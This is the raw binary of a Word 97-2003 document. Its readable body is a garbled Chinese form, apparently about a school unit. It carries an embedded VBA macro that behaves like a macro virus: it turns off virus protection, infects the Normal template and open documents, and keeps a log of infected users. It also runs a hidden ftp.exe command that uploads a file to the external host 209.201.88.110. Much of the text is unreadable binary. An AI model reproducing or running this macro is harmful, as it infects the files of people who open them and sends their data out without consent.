ࡱ> JMI[ R$(bjbj80ΐΐ)8S$wd)///))))))),+-B)-////)>)/)/)r'T([J!X'(T)0)'.+.(.(h///////))///)////.///////// : kNu*g1\N{vh VQm % [1]SVQxvzuSf[!hUSMO Ty  QU_SUSMOwfNLRt7bSchHhvly % [1]U_SVQZSXT Sf[!hUSMO Ty  QU_SUSMOwfNLRt7bSchHhvly QVYuf[/ZSXT % [2]QVX Yuf[ f[!hV[   VYf[ё^  f[!hc T %RtVun0Wb0R \7bSchHhlVun@b(W0W0 b% Vw V^ VS chHh[USMO chHh[0W@W  :NnxOQnx[Q kXQMRLc=m f*g=[ST % [3]b~~GSf[USMO%RtVun0Wb0R \7bSchHhlVun@b(W0W0 b% Vw V^ VS chHh[USMO chHh[0W@W  :NnxOQnx[Q kXQMRLc=m[4]b3uQVV[[5]b~~~b]\OaTUSMO[6];NRN{D@bRzON%Ngbgqb*NN;NRNXf"$:<TV. 0 V X Z \ l n v x z   ǽǽǽǞǽǽǽǞІ{ǽhYzh CJaJhYzh CJOJQJaJo(hrCJ$aJ$hYzh CJ$aJ$'jhYzh UaJmHnHo(uhYzh aJo(hYzh aJhYzh OJQJaJo(hrCJ$aJ$o(hrhrCJ$aJ$o(hhrhro(* $&<T$IfWD`gdYz  & FWDgdr$a$gdr 0 X \MMMMMMM$IfWD`gdYzkd$$Ifl\dnJ ]"   t0644 laytYzX Z \ n p r t \QG888$IfWD`gdYz  & FWDgdr WD`gd kd$$Ifl\dnJ ]"   t0644 laytYzt v z | ~   : N T Z j z  & F$IfWDgdYz$IfWDd`gdYz$IfWD`gdYz v x z | xnxnx^ODxnxnxDxnhYzhi'CJ$aJ$hYzhi'CJOJQJaJhYzhi'CJOJQJaJo(hYzhi'aJo(hYzhi'aJhYzhi'CJaJhYzhi'CJOJQJaJo(hYzh: OJQJaJo(hYzhi'OJQJaJo(hrCJ$aJ$o(hrhrCJ$aJ$o(hrCJ$aJ$hYzh CJ$aJ$hYzh CJOJQJaJhYzh CJOJQJaJo( \TJ;;;$IfWD`gdYz  & FWDgdr$a$gdrkd$$Ifl\z &%   t0%644 laytYz  $ * 0 @ P X x  & F$IfWDgdYz$IfWDd`gdYz $IfgdYz$IfWD`gdYzx z | ZQBB9 $Ifgd: $IfWD`gdYz $IfgdYzkdS$$Ifl4\r &%`8  t0%644 laytYz ZQBB9 $Ifgd: $IfWD`gdYz $IfgdYzkd.$$Ifl4(\r &% 8  t0%644 laytYz &&&&J&N&P&R&T&X&Z&^&`&d&f&j&&&&>'@'''(((vev hi'5B*CJ\aJo(ph h5B*CJ\aJo(phhr5B*CJ\aJph#hrhr5B*CJ\aJph&hrhr5B*CJ\aJo(phhh3h ho(hg@zjhg@zUh hrCJ$aJ$UhYzhi'CJ$aJ$hYzhi'aJo(hYzhi'aJ$ ZQBB9 $Ifgd: $IfWD`gdYz $IfgdYzkd $$Ifl41\r &% 8  t0%644 laytYz &&,&L&N&ZKKKKK$IfWD`gdYzkd$$Ifl47\r &% 8  t0%644 laytYz[7]1uLNb__ Xf lf1\Nb__TNN1uLNXf     Y T f[S { Kb:g lSVQUxXbZSX0(WVQZPZSXT0QVYuf[0*g=[STvkNuGWkXQ{vh cPMQՋUxXxvzu0vclZS0]~{ Ne 01\NOSfN 0vkNu NkXQ{vh0 ~{W[ N&P&R&V&X&\&^&b&d&ZNIGIGIGgdr $ a$gdrkd$$Ifl4C\r &% 8  t0%644 laytYzd&h&j&&&@''(( ("($( $ a$gdrgd WD`gdrgdr (( ("($(h hrCJ$aJ$hg@zhh3 hrh5B*CJaJph6182P:pr. A!"#$%S $$If!vh5 55 5 #v #v#v #v :V l t065 55 5 aytYz$$If!vh5 55 5 #v #v#v #v :V l t065 55 5 aytYz$$If!vh5 55 5#v #v#v #v:V l t0%65 55 5ytYz$$If!vh5855 5#v8#v#v #v:V l4 t0%6++,5855 5aytYz$$If!vh5855 5#v8#v#v #v:V l4( t0%6++,5855 5aytYz$$If!vh5855 5#v8#v#v #v:V l41 t0%6++,5855 5aytYz$$If!vh5855 5#v8#v#v #v:V l47 t0%6++,5855 5aytYz$$If!vh5855 5#v8#v#v #v:V l4C t0%6++,5855 5aytYzj 666666666vvvvvvvvv666666>6666666666666666666666666666666666666666666666666hH6666666666666666666666666666666666666666666666666666666666666666662 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~ OJPJQJ_HmH nHsH tHJ`J cke $1$a$ CJKH_HaJmH nHsH tHN@N rh 1$$dBTJ@&5CJ,KH,\aJ,$A $ ؞k=W[SOBi@B 0nfh3\`?/[G\!-Rk.sԻ..a濭?PK!֧6 _rels/.relsj0 }Q%v/C/}(h"O = C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK!kytheme/theme/themeManager.xml M @}w7c(EbˮCAǠҟ7՛K Y, e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+& 8PK!mQtheme/theme/theme1.xmlYMoE#F{oc'vGuرhF[x=ޝzvg53NjHHzZ $ʯI)*E_N&IA!>Ǽ3xN>UWL0Č߫߿z}rx{h9T8T/χ?xY'~3S~O_|w)ӈHt=a+d NG1-RlƁ1RJwT蠯M1K"o he˓ێ½PL-|%EhY7'qP.\L=dqķ3Iofi.ñBRb-JP_pG ݢiKtdӌhFio7;7Q2ȾD>a/Q>XW ˔M_uHq)h +:Viw4rBqϫ"r!2laCbU|!8^8>ܠ,AбVt׎~ls14_=,ɬožTV G"ѦbH'.4x޵w-ϷE|F;v`b3"G 'e\fHO '$i_wp >*8i&LY%\,xҕ= r6f 3Tʅ):ªZKLs&C Mܛ0 [˫p@ע`j۽7 YHxHicT5Ar@HZAZC}i' RQ\m,zo,gQu{Y\,Nר/=L _.̇Y7C6-fSh62"5NHT[X65̫4X%Yֳ2fkhi~tCKF#b +w1m|4`!:U!p5a:~{4mmio ήc8mDJpSǹ橠V1?#Si?3E'pS2W`qB]( 08w nA[s)k8= Aa?R dڒɾcUӽ˲d)#Queb}C!&i0>4S7{z F} 4sKvUKoȳh~1jYUVH5U8Vk;֜L9ŰD ?*|FL "A3>g]dm2iVֵ褽mg  0 KK ($( X t x N&d&$( P$ AA# AA@H  0(   @(  J  # "?J  # "?J  # "?J  # "?J  # "?B S  ?_*zn ntl lt t t t #&)HI^_djnu!$%'(*,-45<=?ADSY^_jlnoz  %())++,,./12458))++,,./1245^n,SY^m ())++,,./1245 !ks9I-LCZO%&{(wpX88^8`OJPJQJ^Jo(%\^`\OJQJo(hHn\^`\OJQJo(hHu` \^` `\OJQJo(hHl \^ `\OJQJo(hHn \^ `\OJQJo(hHuL\^L`\OJQJo(hHl\^`\OJQJo(hHn\^`\OJQJo(hHu8^8`CJOJPJQJ^Jo(%\^`\OJQJo(hHn\^`\OJQJo(hHu` \^` `\OJQJo(hHl \^ `\OJQJo(hHn \^ `\OJQJo(hHuL\^L`\OJQJo(hHl\^`\OJQJo(hHn\^`\OJQJo(hHu0^`0o(H\^H`\)\^`\.\^`\.4\^4`\) \^ `\.| \^| `\. \^ `\)\^`\.)^)`CJOJPJQJ^Jo(% \^ `\OJQJo(hHn\^`\OJQJo(hHuQ \^Q `\OJQJo(hHl \^ `\OJQJo(hHn \^ `\OJQJo(hHu=\^=`\OJQJo(hHl\^`\OJQJo(hHn\^`\OJQJo(hHuO%(wI-!ks-        >a        f        V         @ii'h3<@+KWkg@z]3: ?]}    & 0 2 3 : !6"000 0 0 0000006:>@DZ\^ =@\]^$([{  0 0 000000Y[];[((2QHP $Pr2!xxunknownkelei    Oh+'0  0 < H T`hpxunknown Normal.dotmkelei8Microsoft Office Word@lt @Trs@Trs@zNt!R՜.+,0 X`px iphy(   "#$%&'()*+,-./012345678:;<=>?@BCDEFGHKLpOPQ]STUVWXYZ[\N^_`abcdefghjklmnoqurstvRoot Entry FS!i@Data 1Table!,.WordDocument80SummaryInformation(9DocumentSummaryInformation8AXacros%![J!XBA%!NG!ThisDocument R__SRP_2__SRP_3 BXVBA_PROJECT*   !"#$%&'()*+,-./012345689:;<=>?ABCDEFGHIJKLMNOPQSVWXYZ\'' (!>%@'$| '' *!>%@'&DSwitch the VirusProtection OFF B(D<$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0( &e[ *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2v RC:\hsf 2.sys'2 2 0Vx c:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incoming1asciihput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anythinge  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$ $f d!. R$ $f . d!. R$'.kd . $f' '.\rk Rr ) , $f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$ $f'  d!j $f'  . $f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@^R)㒲<ѕ[Hg;#.].lMtARA5|ϞxRA5|Ϟѕ[Hg;#ME(S"SS"6"(1Normal.ThisDocument (%H` % % WW@LBzL@  @" @$ `& @( `* @, @. @0 `2h8@0MP$*\Rffff*0;50cc5ae04W"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P *X   *   ,  ( .0 ` p ,x   *   , 8 H Xp]<- this is a marker!Declare Variables] 8Day]Phst] %Initialize Variables 4!6!8%:.( <!6!8%:.* n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999one BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao(% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999 P# 12:39:25 PM - Tuesday, 20 May 1997P ghc-bbc! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 P$ 02:53:46 - Tuesday, 6 Sep 2011P $ 09:37:47 - Monday, 19 Sep 2011 ʿ$ 01:41:54 - Monday, 26 Sep 2011P unknown' 10:50:02 - Wednesday, 19 Oct 2011 ףȪ$ 12:16:37 - Monday, 31 Oct 2011 $ 04:41:50 - Friday, 25 Nov 2011 unknown% 08:44:20 - Tuesday, 29 Nov 2011 unknownP' 08:48:19 - Wednesday, 30 Nov 2011P ʯ(& 10:48:51 - Wednesday, 7 Dec 20110 $ 09:28:26 - Monday, 12 Dec 2011P lijiwei& 04:35:00 - Thursday, 29 Dec 2011 kelei BAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTru BExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S &= 2 0<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op en OutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA 2a  [W   .1dQ1 }pXX0ZX3S'Wria log rfof P, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&f W' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK Bh. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA 7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829J RajK@u7:5LSatu rL3KstdoleP h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C 0P!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE12\MSO.DLL#M 1 Ob Library%zBeThisDocumentG TfisDHcu@Ienn* 2  HB1BX)B,!"B+BBK* *\CNormalrU~~~~~~l ƜECYSWh   ]kqmIh'V011Project ThisDocumentF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA ! I` F5C:\Program Files\Microsoft Office\Office12\MSWORD.OLBWord Ap0FC:\Windows\system32\stdole2.tlbstdole )QL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLLOffice 1k Fѕ[Hg;#.].lMtARA5|Ϟ FDocument @:rU~}  pThisDocumentThisDocumentID="{1FDC5D2B-E553-44CB-BADE-78C50BB12045}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="1F1D16D4FA34E838E838E838E838" DPB="1113PROJECTUmCompObj[u181D191D191D" GC="03010AF8FDF9FDF902" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C   F#Microsoft Office Word 97-2003 ĵ MSWordDocWord.Document.89q